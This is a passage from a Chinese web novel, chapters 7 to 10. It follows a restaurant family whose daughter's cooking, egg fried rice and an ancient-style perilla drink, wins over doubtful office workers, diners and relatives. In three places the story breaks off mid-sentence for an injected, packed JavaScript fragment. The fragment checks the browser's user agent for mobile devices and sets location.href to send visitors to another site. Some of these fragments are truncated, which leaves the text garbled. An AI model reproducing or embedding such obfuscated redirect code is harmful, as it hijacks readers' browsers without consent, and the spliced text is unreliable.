这人，怕不是饭馆特意请来在门口表演的托儿！ 想到这里，她望了一眼饭馆拉的横幅。饭馆在做酬宾活动，所以请人来演戏吸引客人？ 她皱皱眉。她最讨厌打虚假广告骗人的行为。 她决定以后要避雷许记饭馆，再也不去许记饭馆吃饭了。 7. 第七章 林燕婷这么想着，草草买了个饭团，又折回公司。今晚要加班。回到工位时，旁边有同事正吸溜着泡面，含混不清地抱怨：“加班还没加班费，烦死了！” “就是！烦死了！”立刻有人附和。 半小时后，众人陆续吃完，不情不愿地回到工位。 组长不知何时冒了出来，拍拍手：“大家都辛苦了。” 林燕婷心里一片麻木。一句辛苦有什么用？不如来点实在的，给加班费啊！ 正想着，就听组长说：“今天犒劳大家，请你们吃好吃的！” “好吃的？” “组长要请客？哇，太好了！” “谢谢组长！” 一听有吃的，众人对加班的怨气顿时消散不少。 “组长，请我们吃什么大餐呀？” 组长神秘地笑了笑：“大餐？唔，算是大餐吧。到时候你们就知道了。” 九点多，组长拎着几袋饭盒走进工作区。 “大家休息一下，吃点东西。” 组员们欢呼：“谢谢组长！” “组长，到底是什么好吃的啊？” 组长笑道：“蛋炒饭。” “蛋炒饭？” “啊？只是蛋炒饭？”有人脱口而出，难掩失望。 原本期待的气氛瞬间凝固，窃窃私语声四起。 “蛋炒饭啊……” “不是说是大餐吗？还以为至少是火锅或者小龙虾呢……” “组长也太抠了吧……” 组长却依然笑眯眯的，一边打开饭盒盖子，一边笃定地说：“别小看这家店的蛋炒饭，味道比五星级酒店的还好吃！” 有人问：“比五星级酒店的还好吃？哪家店啊？” “春熙老街的许记饭馆。他家的蛋炒饭，保证你们吃了还想吃！” “许记饭馆？没听说过。” “哦我知道！就春熙老街边那家苍蝇小馆子嘛，味道很一般啊……”说话的声音渐渐低下去。 “就那家苍蝇小馆？组长，你就请我们吃这个？” 众人幽怨地看向组长。无偿加班不说，答应的大餐居然缩水成街边苍蝇小店的蛋炒饭？ 组长也太抠门了吧！ 以前他可不是这样的啊！ 组长看着众人不满的表情，笑了笑：“你们吃了就知道。” 林燕婷心里那点因为“请客”而勉强压下的怨气，又滋滋地冒了上来。无偿加班已经够憋屈了，说好的“犒劳大餐”最后变成廉价的街边蛋炒饭，简直是在嘲讽他们的辛苦。 周围同事虽然没再大声抱怨，但脸上都写着“就这？”和“果然不能抱期待”。大家默默地接过组长递来的饭勺和分好的蛋炒饭，动作里满是敷衍。 林燕婷接过饭盒，没有打开。她不仅对组长不满，连带对打虚假广告的许记也没好感，索性把饭盒推给旁边的小艳：“你吃吧，我不饿。” 没能吃到大餐的小艳，恹恹地接过：“好吧，总不能浪费。” 小艳还没打开盖子，旁边突然传来一声惊呼：“我靠，好香！” “嚯！这蛋炒饭，闻着真香！”另一个同事附和。 与此同时，小艳掀开饭盒盖，一股浓郁的香气扑面而来。她愣住了。 旁边的林燕婷也闻到了香味，不由得一怔。怎么这么香？她下意识看向小艳手里的蛋炒饭。 米饭金黄璀璨，如碎金堆叠，翠绿葱花点缀其间，色泽诱人。 小艳迫不及待地尝了一口，顿时瞪大眼睛。 “唔！好吃！”她含糊不清地说，声音里满是难以置信。 四周响起其他同事的赞叹：“我的天……这蛋炒饭！” “妈呀，怎么这么好吃？” “这真是我们认识的那家许记饭馆的蛋炒饭？怎么可能这么好吃！” 刚才还满脸嫌弃、窃窃私语的组员们，此刻都安静下来。每个人都埋首对付着自己那份蛋炒饭，脸上无不露出惊讶、满足，甚至陶醉的神情。 “组长！这真是许记的？我以前吃的怕是假货吧！” “米饭怎么这么香？鸡蛋怎么这么鲜？” “还有吗组长？我能再来一份吗？” 抱怨声消失了，取而代之的是此起彼伏的赞叹和意犹未尽的索求。只剩下勺子碰撞饭盒和满足的咀嚼声，气氛热烈得与几分钟前判若两地。 组长看着这一幕，轻哼一声：“就是许记的，没骗你们。好吃吧？早说了保证你们喜欢！” “喜欢！太喜欢了！”一个组员一边狼吞虎咽，一边抬头应道。 “我也超喜欢！谢谢组长！” “谢谢组长！” 组员们纷纷道谢。组长得意地昂起下巴。 林燕婷舔舔嘴唇，对小艳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578552|187214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说：“那个……我的蛋炒饭能还给我吗？” 这么美味的蛋炒饭，小艳正嫌一份不够吃，立刻护住饭盒：“你不是不吃吗？” “我……” “你已经给我了，哪有要回去的道理！”小艳眨着眼睛。 林燕婷后悔得肠子都青了。她抿抿嘴：“那我就尝一口？” 小艳一脸肉痛：“就一口，说好了啊。” “行。” 小艳舀起一勺，小心翼翼地递过去，生怕林燕婷多吃一口。林燕婷将勺中的蛋炒饭送入口中。 那一刻！口中的米粒仿佛化作金色的烟花，在她脑海里轰然绽放。 噼里啪啦！噼里啪啦！ 无数金灿灿的烟火在脑海中炸开。她震撼得无以复加。 怎么会这么好吃？ 怎么会这么好吃？！ 她惊讶得几乎合不拢嘴。随即一个巨大的疑问涌上心头：许记的蛋炒饭以前明明很普通，为什么突然变得这么好吃？ 她又想起下午在许记门口看到的一幕。那个食客举着电话说，许记的饭好吃到让人想哭。 就凭这蛋炒饭的味道，好吃得如同吃了人参果，灵魂都得到了升华。确实能好吃到让人哭…… 所以，那个食客根本不是饭托，他是真心的！ 林燕婷脸颊发烫。她误会许记了。 她吞咽着口水，觉得这许记的蛋炒饭，好吃到，仿佛不属于这个时代。 她无比后悔把蛋炒饭让给了小艳。见小艳吃得香，她又舔舔嘴唇：“小艳，再给我吃一口吧。” “不行不行，我自己都不够吃呢！”小艳平时并不小气，但这蛋炒饭实在太过美味，少吃一口都觉得亏。所以她不可能再给林燕婷吃一口。 林燕婷转向埋头苦吃的组长：“组长，我现在能去许记买份饭吗？” “这时候人家早打烊了。想吃明天去吧。”组长头也不抬地继续吃着。 林燕婷：“……” 所有人都在大快朵颐，自己却一口都吃不到。林燕婷悔得肠子都青了！ 此刻她脑子里只有一个念头： 曾经有一份好吃到哭的蛋炒饭摆在我面前，我却让给了别人。等到失去才追悔莫及。人世间最痛苦的事莫过于此。如果上天能再给我一次机会，我会对那份炒饭说三个字：“我要吃！” 并且还要吃一万年！ 8. 第八章 林燕婷欲哭无泪。 吃了这顿超级美味的蛋炒饭后，组员们因为加班的不满和疲惫，仿若被风吹散了，被驱散得无影无踪。 一时间，每个人的脸上都洋溢着满足幸福的笑，眼神里重新燃起了光彩。好像灵魂回位了一般。 “我感觉整个人都被治愈了，”小艳定十分夸张叹了口气，忍不住轻轻舔舔空饭盒，“这蛋炒饭真的绝了，简直有魔力！” “是啊，”另一个同事附和道，“哈哈，感觉像是满血复活了？突然觉得加班也没那么难以忍受了。” 办公室里的气氛全然变了，先前那点沉闷一扫而空，大家手脚都轻快起来，仿佛被注入了新的能量，工作效率明显提高。 超级美味的蛋炒饭，似乎不仅填饱了他们的胃，更神奇地抚慰了他们的心，让加班的夜晚变得不再难熬。 组长环积极工作的组员们，不由欣慰地点点头。 这份蛋炒饭带来的效果，远比他预期的还要好。原本他打算请组员们吃烤肉的，但没想到遇到了许记饭馆的蛋炒饭，于是便改变主意，请大家吃蛋炒饭。 果然，如此美味的蛋炒饭，组员们都很满意。 组长摸摸自个儿的肚子，回味着那炒饭的香气，也觉得浑身舒泰。 美食这东西，原就是能安抚治愈人身心的。尤其是许记这样好吃的蛋炒饭，一口下去，简直整个身心都能被治理得服服帖帖，仿若什么烦忧都暂且能搁下了。 组员们个个容光焕发，唯独林燕婷蔫蔫地趴在工位上，像遭了风雨的花，耷拉着。 她瞧着同事们满足的神情，听着他们有一搭没一搭地回味刚才那蛋炒饭的滋味，心里的悔意便如细蚁啃噬，一阵密过一阵。 “要是刚才没把那盒炒饭让出去就好了……”这个念头在她脑海中反复回荡，挥之不去。 她无力地敲打着键盘，每一次按键都带着深深的懊悔。那金灿灿香喷喷的米粒，那鲜软滑嫩的鸡蛋，那萦绕在鼻尖的浓香，所有这些都成了她此刻的煎熬！ 啊！真后悔，真煎熬啊！ 一天结束，饭馆打烊，许妈一算账，今日利润六百多，比昨天翻了个翻！ 许妈许爸喜得脸上都笑开花了。许知味瞧着喜不自胜的父母，轻轻笑道：“爸妈，别乐了，赶紧收拾收拾回家早点休息。” 回家的路上。天上疏疏落落缀着几颗星子。许知味仰头望着。天上星星不如古代多。古代的夜空，繁星满天，银河泻影。 想到古代，她心里一声轻叹。不知她离去后，那边是何光景。那时的爹娘，该是如何伤心？ 脑子里闪过他们面容，心里便泛起酸楚。这头的许妈许爸是爹娘，那头的许父许母，也是爹娘。舍弃哪一头，心里都难受。 耳边传来起许妈的声音：“这天儿越来越热了，我看天气预报，明天有三十六度了。明天多喝点凉茶，免得中暑了。” 闻此言，许知味心中一动：“妈，明天我煮些紫苏熟水喝，紫苏熟水祛暑效果比凉茶好。” “紫苏熟水？” “古时的一种饮子。搁在现今，该叫紫苏茶了。” 许妈：“紫苏茶啊，你说紫苏茶我就晓得了，什么熟水不熟水的，我一开始还没听懂。” 紫苏熟水。古代很流行的饮品。取鲜紫苏叶，佐以少许陈皮、甘草、冰糖等食材同煮。 放凉了，再挤上几滴柠檬汁儿，那水便泛出浅浅的粉色，自带一股清冽的香气，最能解暑。许知味回忆起紫苏熟水的味道，微微咽嗓。 “我先前在一本书上看到了古法紫苏熟水的复原方子，我回去试试。” 次日，饭馆刚开门，便有客上门。 “老板，要一份苕粉皮子！” “我要份蛋炒饭！” “老板，那个凉拌萝卜丝能多送点吗？不够吃啊！不能多送的话，我花钱买可以吗？” 房东王大爷背着手，哼着不成调的戏文踱进来。见馆子里已坐了两桌人，不禁点点头。这几日，许家生意是眼见着好起来了。生意渐好，许家房租，大抵也是有着落了。 许妈：“王大爷，您来了？吃点什么？” “来碗苕粉皮子吧。” “成。” 点过餐，王大爷便乐呵呵地等着，有些迫不及待。昨日尝过那苕粉皮子，那滋味，叫他惦记上了。哎哟，怎么就那么对胃口呢。他不由得咽咽口水。 柜台后，许妈端起杯子呷了一口紫苏熟水，惬意地舒口气。见王大爷和那两桌客人这么早来捧场，心里高兴，就给他们每人也都倒了一杯。 许妈：“天热，喝点紫苏凉茶祛祛暑。” 有食客道：“要钱的吗？” 许妈：“这茶不是卖的，是咱们自家人做了喝的，今天免费送你们一杯。” “谢谢老板！”食客笑接了。 寸头食客把凉茶推给朋友：“我不爱喝这个，不喜欢紫苏的味道，你喝吧。” 朋友看了看杯子里的紫苏凉茶。粉粉的颜色，泛着晶莹粉透的光，他喝了一口。 紫苏熟水尚未沾唇，一股草木清气混着微甜，已先拂上面庞。及至入口，当头触着舌尖的，是紫苏那点子特有的香。 这香气里仿佛带着薄荷似的凉意，却又比薄荷更柔和。全无那扎人的刺激，无半分利锐，只悠悠地在口中化开。 随之，便有一缕似有若无的柑橘香，或是某种草木的回甘，淡淡浮上来。 回甘里的清甜，裹着紫苏香，在唇齿间漫开，滑过喉咙时，只留下一片清爽，半点不腻人，只觉得喉间那股燥气都给抚平了。 这一口下去，倒像是人在清凉的紫苏叶、薄荷芽里沐了一回。浑身上下的毛孔，仿佛都给那清清凉凉、甘甘美美的滋味透过一遍，洗刷得干干净净了。 朋友：“嘶！好喝！太好喝了！” 寸头：“有那么好喝吗？” 朋友：“真的很好喝，你尝尝！” 寸头：“我不太喜欢紫苏的味道味道你又不是不知道。” “哎呀喝一口喝一口，真的很不错！” “我真受不了那味儿！” “喝一口，不好喝你这顿饭我请了。” “真的？那行，那我就勉为其难喝一口吧。”寸头拿起杯子，先嗅了嗅。咦？气味倒清爽，并无记忆中那种让他很是厌恶的味道。他屏着气，小心啜了一口。 冰凉的茶汤滑过喉咙，他微微一怔。 朋友一脸期待：“怎么样怎么样？” 寸头不答话，像是哑了。他端起杯子，又喝一口。接着又是一口。一口接一口，全然不见先前嫌弃的模样。 寸头他沉默地一口接一口，就是最好的回答。朋友笑呵呵：“好喝吧！” 寸头一口气饮尽杯中茶，长长吸了口气：“没想到……” 他皱皱眉：“我怀疑，其实我不是不喜欢紫苏，只是之前没吃到……哦不，没喝到过味道这么好的紫苏茶，没遇到过能把紫苏做的味道这么好的。” 朋友乐了：“那句话怎么说来着，没有难吃的食物，只有做得不好吃的食物。没有不好的食材，只有不入流的厨子！你之前讨厌紫苏，只是纯碎没吃到过做得好吃的紫苏！” 寸头点点头，侧身道：“老板，这个紫苏茶，还能再来一杯吗？” 朋友：“我也要我也要！老板，你家紫苏茶着实好喝！我从来没喝到过这么好喝的紫苏茶！” 王大爷也开了腔：“给我也再来一杯，现在都九月了，天还越来越热了，还在苦夏呢，这一杯下去，胃里爽利多了！” 九月炎天，王大爷近日胃口不佳，这几天吃了许记的饭食才开怀些，这紫苏茶一落肚，更是通体舒泰。 王大爷捧着第二杯紫苏茶：“你们家这紫苏茶，和别家味道很不一样。” 许妈道：“我们家闺女按照古法复原的古法紫苏熟水。” 寸头的朋友：“古法紫苏熟水？有方子啊？哪个方子啊？” “我闺女说，就在书上看的。” 寸头的朋友探头：“老板，什么书啊？” 许妈笑笑，也没再多说。 寸头立刻敲了朋友脑袋一下：“你看你这问题问的，别人怎么可能随便就把这种东西告诉你。” 朋友反应过来，讪讪闭嘴了。也是，问得有些冒犯了。 王大爷插话道：“要我说，你们这紫苏茶也拿出来卖得了，这么好喝，肯定也是好卖的。” “对头，老板，你们卖紫苏茶吧，这样我就可以带一些回去喝了！” 许妈道：“是有这个想法。” “那敢情好，怎么卖的啊？” 如今小店里的酸梅汤，多是两元一杯。她家这紫苏茶滋味好，该贵些。许妈忖度着说：“等以后开卖了，你们自然就晓得了。” 许妈去后厨说这事：“这紫苏熟水我看行，定价三块钱一杯，比酸梅汤贵一块，值这个价！” 许爸：“太贵了会不会不好卖？” 许妈：“你这猪脑子，这么好喝才卖三块，已经够便宜了！” 许爸挠挠头：“也是。” 许是因着是优惠最后一日，还未到饭口，人便陆陆续续来了不少。 十二点一过，林燕婷急匆匆赶到许记饭馆。熬到这时，总算能吃上那口炒饭了！ 天知道，她昨夜翻来覆去，梦里全是那蛋炒饭的香气！今天上午做事也心神不属，写报告时，险些将“蛋炒饭”三字写上去。 此刻，饭馆里几乎坐满了。林燕婷寻不着座，便道：“老板，我要一份蛋炒饭打包带走。” “好嘞，请稍等。” “老板再加一份吧，我要两份！”林燕婷怕不够吃。 热热闹闹的一天过去，许妈算了账，高兴得红光满面：“净利润一千零八。希望明儿也能赚这么多。” 许爸忐忑：“明儿不搞优惠活动了，可能贪便宜的人就不来了。生意可能会回落很多。” 许妈给了他一锤子：“你以为还像咱们以前，活动一结束人就散了？以前是因为咱家味道一般，所以活动没了，人也不来了，现在咱家的蛋炒饭苕粉皮子这么好吃，还愁没了活动，人就不来了？你这是对咱闺女的手艺没信心？” 许爸赶紧低下声音，生怕许妈再给他一锤子：“有信心有信心。” 许知味道：“不必担心，生意会好的。” 她有这样的手艺，也有这样的信心。 毛毛抱住许知味的大腿，奶声奶气道：“生意会好的！” 许知味低头摸摸毛毛的冲天辫：“毛毛说得对。” 翌日。许记饭馆店里的小黑板上，用醒目的粉笔字添上了一行：“古法紫苏熟水（紫苏茶），3元/杯”。 虽说许妈对女儿手艺有信心，但次日一早，也不免同许爸一般，心里七上八下。 直到见着开门便有客来，她那颗心才稍稍落定。 “蛋炒饭涨价涨到十二块了呀？” 许妈：“是啊，先前卖那点价，又辛苦又不赚钱。” 卷发食客捏捏下巴：“哎，确实，你们家蛋炒饭这么好吃，卖十二也是很实惠了，有些餐厅的蛋炒饭比你们家差远了，一份蛋炒饭还卖二十八呢，还有一份卖一百八十八的。” 卷发食客说到这里，啧了一声。之前她好奇一份一百八十八的蛋炒饭到底有多好吃，就去吃了。是挺好吃的，卖一百八十八也是有缘由的。 但现在她尝过许记饭馆的蛋炒饭后，她觉得，许记饭馆的蛋炒饭也能卖一百八十八一份。绝对不会有人觉得不值！ 这许记饭馆的蛋炒饭，比她之前吃的一百八十八的蛋炒饭好一百倍一千倍！卖二百都可以！ 想到此，卷发食客忽然有些感激起许记老板来。这么好吃的蛋炒饭，现在就算是涨价也只涨到十二块，简直是活菩萨！ 用十二块这么点钱就能享受这样的美食，赚了，赚大发了！ 她眼睛亮晶晶看着许妈：“老板，你人真好。” 许妈：“？” 什么？怎么突然就说她人好了？ 许妈：“怎么突然这么说？” 卷发食客：“反正就是好，很好，大大滴好！” 许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这方寸厨房里，她像个沉稳的将帅，调度着锅碗瓢盆。 炒锅在她手中颠动，金黄的米粒与蛋花纷飞。 旁侧的灶上，大口锅子里咕嘟着紫苏熟水，清新宜人的香气弥漫开来，与食物的香交织成一片奇异的、令人心安的氛圍。 她动作行云流水，眼神专注。精湛的烹饪技艺与食材在她手下完美交融，每一味调料，每一次火候，都掌握得恰到好处。 饭馆大堂里，此时是中午十二点半，很是热闹。 六张桌子已经坐满了人。蛋炒饭和苕粉皮子是绝对的招牌，几乎桌桌必点。凉拌萝卜丝因为爽口开胃，成了最佳配角。 而紫苏熟水，这个新推出的饮品，也很受食客喜爱，几乎人手一杯。只要喝过的，几乎都再买了第二杯。 一位食客吃了口苕粉皮子，又饮了口紫苏熟水，不由喟叹：太好吃了！太好喝了！ 这馆子的厨子，手艺真是了得！他忙了一上午的疲惫，仿佛被这香喷喷的吃食与清冽的熟水涤荡一空。 啊……这位食客舒坦地呼出一口气。 这家饭馆的蛋炒饭，苕粉皮子，凉拌萝卜丝，还有紫苏熟水，仿佛不仅仅是果腹之物，更是能抚慰人身心的艺术品！这位食客由衷赞叹。 这边厢，街头那家“好再来”饭馆里。李老板瞧瞧店内，皱了皱眉。这几日生意淡了些。 他家馆子味道好，这两年在春熙老街，生意向来是拔尖的。可这几天不知怎的，客人似不如前。或是天太热，大家没了胃口？李老板也未深想，自顾忙去了。 今天没加班，林燕婷开开心心去许记饭馆吃了饭，带了三两杯紫苏熟水回了家。原本想给爸妈带蛋炒饭或者是苕粉皮子的，但她爸妈一直觉得外面的东西不干净，不爱吃外面的东西，所以她就没带。只买了三杯紫苏熟水回去自己冰镇了喝。 “回来了？”林妈放下茶杯，说，“来，喝杯菊花茶，祛祛暑。” “我喝这个。”林燕婷说着，取出一杯紫苏熟水，插上吸管。 林妈：“又是去哪儿买的这玩意儿，还粉色的，也不知道放了多少色素！” “不是色素，人家原材料熬的紫苏茶，放了柠檬汁有化学反应就变粉色了！”林燕婷吸溜着紫苏熟水，含糊不清道。 “你还真信外面会用原材料熬？多半是用紫苏粉勾兑的，就跟外面那些酸梅汤一样，都是酸梅粉勾兑的，哪里会用真材实料来给你熬。” “紫苏粉勾兑的紫苏茶，和真材实料熬出来的紫苏茶味道不一样，一喝就能喝出来，这家的紫苏茶绝对不是勾兑的粉。妈你要是不信你尝尝！” 林妈嫌弃地别过头：“不喝，谁知道里面加了什么。” “妈，真的很好喝，你尝一口嘛，就一口！”林燕婷不依不饶地把杯子往妈妈嘴边凑。 林妈蹙紧眉头，侧身避开：“喝这些乱七八糟的东西做什么？不如喝我泡的菊花茶，又好喝又干净，还养生。” “菊花茶没我这个紫苏茶好喝。你喝了就知道。”林燕婷坚持道。 正说着，门锁转动，林爸下班回来。他一边换鞋一边擦汗：“热死了，这天真是要命。” 林燕婷眼波微动，计上心头，拿起另一杯还没开封的紫苏熟水，笑眯眯地迎上去：“爸，你闭眼，我给你喝个好东西，保准让你凉快下来。” 林爸虽然疑惑，但还是配合地闭上眼：“什么东西？” 林燕婷迅速插好吸管，将吸管口递到爸爸嘴边：“你尝尝就知道了。” 林爸下意识地吸了一口。 下一秒，他整个人如同被雷劈中般僵在原地，眼睛猛地睁开：“这……这是？” 冰凉的熟水滑过喉咙，那独特的清香与甘甜瞬间仿佛瞬间驱散了暑热与疲惫，令他精神一振。 “我在一家超好吃的小饭馆里买的紫苏茶，好喝吧？”林燕婷得意地扬起下巴。 林爸怔然地打量手中的杯子，仿佛在审视，接着又迫不及待地吸了一口，细细品味后由衷赞叹：“这味道真是……真不赖。清甜不腻，回甘爽口，喝完喉咙特别舒服，整个人都凉快了。” 林燕婷：“哈哈，不错吧。喏，爸，这杯给你喝了。” “咳！咳咳！”林妈忽然重重地一咳，眼神凌厉地瞪着林爸，语气里满是警告，“喝那些不干不净的玩意儿干什么？外面的东西多脏多不健康你不知道？” 9. 第九章 林爸的手微微一颤。 林燕婷翻了个白眼：“妈，这家店的紫苏茶，老板他们自己都喝。要真是不干净不健康，老板敢往自己嘴里送？您就放一百个心吧，人家干净着呢，都是真材实料用紫苏熬出来的，不是什么科技狠活！” 听女儿这么一说，林爸悬心里一松：“老板自己也喝，那应该没问题。” 林燕婷连连点头：“就是就是！” 林爸没忍住又吸溜一口，转头对林妈说：“老婆，你真不尝尝？味道真不赖。” 林妈嫌弃地皱紧眉头：“再好喝我也不碰。你们爱喝就喝，别到时候闹肚子又来找我！” 说完她抿了一口菊花茶，起身进入厨房端菜。 晚饭林燕婷是在林记饭馆吃过的，所以没在上桌吃。她回房后，餐桌上只剩下林爸林妈。林爸原本想边吃饭边品那杯紫苏熟水，又怕触怒林妈，只好把它推到一旁。 一顿饭下来，他的心思完全不在眼前的晚饭上，全被边上那杯紫苏熟水勾了去。 饭后林爸洗碗，林妈进了书房工作。林爸收拾完厨房，悄悄从冰箱里取出冰镇过的紫苏熟水，仰头灌了一大口。 那一瞬间，仿佛在干涸燥热的沙漠里，淋了一场酣畅淋漓的冰雨，凉意透彻心脾，浑身舒爽。 许记饭馆正值饭点，店里坐满了人。后厨里，许爸正淘米蒸饭。 米里加清水、盐、白醋和一点清油，这样蒸出来的米饭甘香清润。过去许爸也是这么做的，但这几天许知味告诉他配料精准的配比，他照着女儿说的配料分量蒸饭，米饭比从前好吃许多！ 同样的米和配料，剂量一变，味道天差地别。许爸咂咂嘴，如今家里蒸的米饭香得他每顿都忍不住多添一碗。 八点过后，饭点渐退，店里的热闹也慢慢散去。一直忙碌的许知味终于得了空，她揉揉发酸的手腕，端起紫苏熟水喝了一口。 许爸正在炒青瓜火腿，下调料时忽然回头：“知味，你来尝尝味道。” 许知味尝了一口，轻声道：“下次做这道菜，火腿先用五十度的温油滑一下，把香气逼出来。等火腿起锅再单炒青瓜，别一块炒。火要猛，油要热，刺啦一声下去，翻几下，等青瓜颜色翠生生、油亮亮的，这时候再把火腿倒回去，淋一点料酒，加半勺高汤，颠两下就出锅。千万别久烧，青瓜一软，就失了那份爽脆。” 她说着，顺手拈起一片生青瓜，对着光看了看：“爸您瞧，这青瓜瓤软肉脆。火候一到，它会渗出清甜的汁水，正好衬出火腿的咸香。要是不顾火候，一锅乱炒，青瓜烂了，火腿老了，两样都糟蹋了。” 许爸听得连连点头。许知味又轻声补充：“还有，起锅前撒的那撮糖，得再减三分。糖多了，会压住青瓜和火腿的底味。” 许爸重新掂起锅铲，嘴里喃喃：“等下要是还有人点青瓜火腿，我就照这法子再试一遍……” 九点打烊时分，店里仍有客人在用餐，甚至还有人推门进来。 “打烊了还能吃吗？” “能。” 有钱干嘛不赚？许知味微微一笑，转身为这位客人炒起了蛋炒饭。 九点四十，最后一位客人离开。店里早已收拾妥当，人一走，许知味一家立即关门回家。 今日净利润一千五百多。没了优惠活动，价格还涨了，赚得却比以前更多。许妈喜上眉梢：“我就说要对闺女的手艺有信心！” 许爸乐得嘴角翘得老高。 许知味也笑了笑，随即想起家里欠的房租。照这个势头，很快就能把欠王大爷的房租还上了。 她嘴角刚扬起，就听见许妈说：“明早去买菜，顺便带点凉面回来吃。” 凉面？许知味沉吟。天气燥热，吃凉面确实开胃。但她心里却惦记着另一样吃食。 夜里，林爸洗完澡，从冰箱里取出紫苏茶喝了一口。细细品味着那股甘醇，他想：这么好喝的紫苏茶，不让老婆尝尝真是可惜。不尝是她的损失。想到这儿，他心念一动，将紫苏茶倒进一个小杯子里。 书房里，林妈还在忙碌，键盘敲得噼里啪啦响。林爸端着杯子走进去：“累了吧？来，喝口菊花茶。” 林妈眼睛没离开屏幕，习惯性地张嘴接受投喂。 一股冰凉的液体滑入喉咙。她敲键盘的手指忽然停住，转过头，有些发愣：“你给我喝的什么？” 林爸后退半步：“紫苏茶。怎么样，好喝吧？” 林妈喉头动了动：“婷婷买的那紫苏茶？” “是啊。” 林妈眼神几变，一巴掌拍在林爸胸口：“好哇你！竟敢骗我是菊花茶！都说了不喝外头的东西，你还耍心眼！” 林爸一边后退一边说：“你就说好不好喝吧！这么好喝的东西不尝尝多可惜！” 好喝。确实从没喝过这么顺口的紫苏茶。但林妈能承认吗？拉不下这个脸！她竖起眉毛：“不好喝！再把这玩意儿凑到我面前，就跪搓衣板去！” 林爸张张嘴，没敢再辩，拿着杯子退出书房。 林燕婷从门缝探出头：“爸，我放冰箱里的那杯紫苏茶是留明早喝的，你可别偷喝啊！” “知道了，不碰你的。” 夜深人静，林妈忙完工作，揉着肩膀走出书房。家人都睡了。她轻手轻脚洗漱完毕，刚躺上床没多久，口中就泛起了那股清甘的余韵。 她喉头不自觉地滚动了几下，强迫自己忘掉那妙不可言的滋味。 可越是刻意忘记，越是难忘！ 不知过了多久，她不由自主地起身，走到冰箱前，打开门，目光落在装紫苏茶的杯子上。 林燕婷一觉睡到天亮。她打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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昨晚许妈说想吃凉面，许知味便想起了这道古法冷淘。如今市面上还有槐叶卖，她特意嘱咐父母今早去买了一些。 “可惜现在的槐叶不如春天鲜嫩，要是用春槐叶，做出来的冷淘味道会更上一层。”许知味一边捣槐叶汁，一边说道。 她将捣出的碧绿汁液和入面粉，揉成细面条，煮熟后过冰水，沥干拌上熟油。 放进冰箱稍作冷藏。取出后佐以蒜泥、香醋、芝麻酱，再码上黄瓜丝，一碗色如翡翠、清香扑鼻的槐叶冷淘便做好了。 毛毛吸溜着口水，抱住许知味的大腿，奶声奶气急吼吼道：“毛毛吃面面！毛毛吃面面！” 10. 第 十章 饭馆十点开门迎客，刚到十一点，六张桌子便已坐满了四张。许妈趁着客人们低头用餐的间隙，赶忙扒拉了几口自家做的槐叶冷淘面。 正喝着紫苏茶的王大爷，瞧见许妈碗里面条绿莹莹的，忍不住探头：“你这吃的啥？绿绿的？” 许妈咽下口中的面，笑答：“槐叶冷淘面。” “槐叶冷淘面？” “就是用槐叶汁和面做的凉面，我闺女做的，味道可好了。” 一听是许知味做的，王大爷眼睛顿时亮了，脖子伸得更长：“你闺女做的？那味道肯定错不了！” 如今王大爷对许知味可是佩服得五体投地。蛋炒饭香，凉拌萝卜丝爽口，苕粉皮子筋道，就连这紫苏茶都做得这么好喝，这丫头手里，还有什么是不好吃的？ 光是听说这槐叶冷淘面出自许知味之手，王大爷就忍不住咽了咽口水：“啥味儿啊？店里卖不卖？” “自家做着当午饭的，还没打算卖呢。”许妈说着，又客气道，“您要是想尝，我给您挑一碗？” “那敢情好！” 面是碧莹莹的，宛如初夏新发的槐叶，光是看着那颜色，一股凉意就仿佛透进了心里。 面条切得细，似一捧浸在溪水中的嫩柳条，柔软地弯曲着。顶上撒着嫩黄瓜丝，碧绿盈盈，瞧着就爽口。还能瞥见几粒焦黄的油炸花生米，害羞似的藏在面条底下。 王大爷挑起一筷子，面条滑溜，得小心用筷子绕上几圈，才不至于让它溜走。送入口中，第一感觉是沁凉的滑，顺着喉咙就下去了，留下一股若有似无的、属于草本树叶的清淡芬芳。 再嚼几下，面条的韧劲、花生米的脆香、黄瓜的清爽，还有那恰到好处的咸味便交融在一处了。 紧接着，蒜的辛、姜的辣、椒的麻，都是淡淡的，不夺味，只衬得那槐叶的清气越发鲜明。 王大爷吸溜一口面，浑身的毛孔都舒张开来，舒坦极了。仿佛不是吃了一碗面，而是饮下了一碗沁着草木香气的凉风。 “嚯！”王大爷一拍桌子，“这面得卖！槐叶冷淘面，必须得卖！” 许妈笑了笑：“回头再说吧。”她还不清楚闺女想不想卖这个，话不敢说满。 邻桌的食客探过头来：“大爷，这绿面条，真这么好吃？” “好吃！比街上那些冷面、凉皮强多了！” 食客舔舔嘴唇，转向许妈：“老板，这绿面还有吗？能买一碗不？” “自家做着吃的，已经没了。” 食客脸上顿时写满了遗憾。 王大爷吃完，美滋滋地摸摸肚子去柜台结账。许妈找钱时，开口道：“大爷，房租————” 她还没说完，就被王大爷打断：“房租？不着急，你们开店花销大着呢，别把房租给我了店开不下去了，等手头松了再给我就成，不着急。” 许妈闻言一怔。房租一万零八百，如今饭馆生意越来越好，她手头能拿出八千，本打算先给一部分，毕竟拖欠有些日子了，没想到房东反而说不急？ 之前王大爷不是催得挺紧吗？ 见许妈愣神，王大爷挥挥手：“就这么说定了，以后再说，我先走了。”说完便背着手，哼着小曲儿离开了。 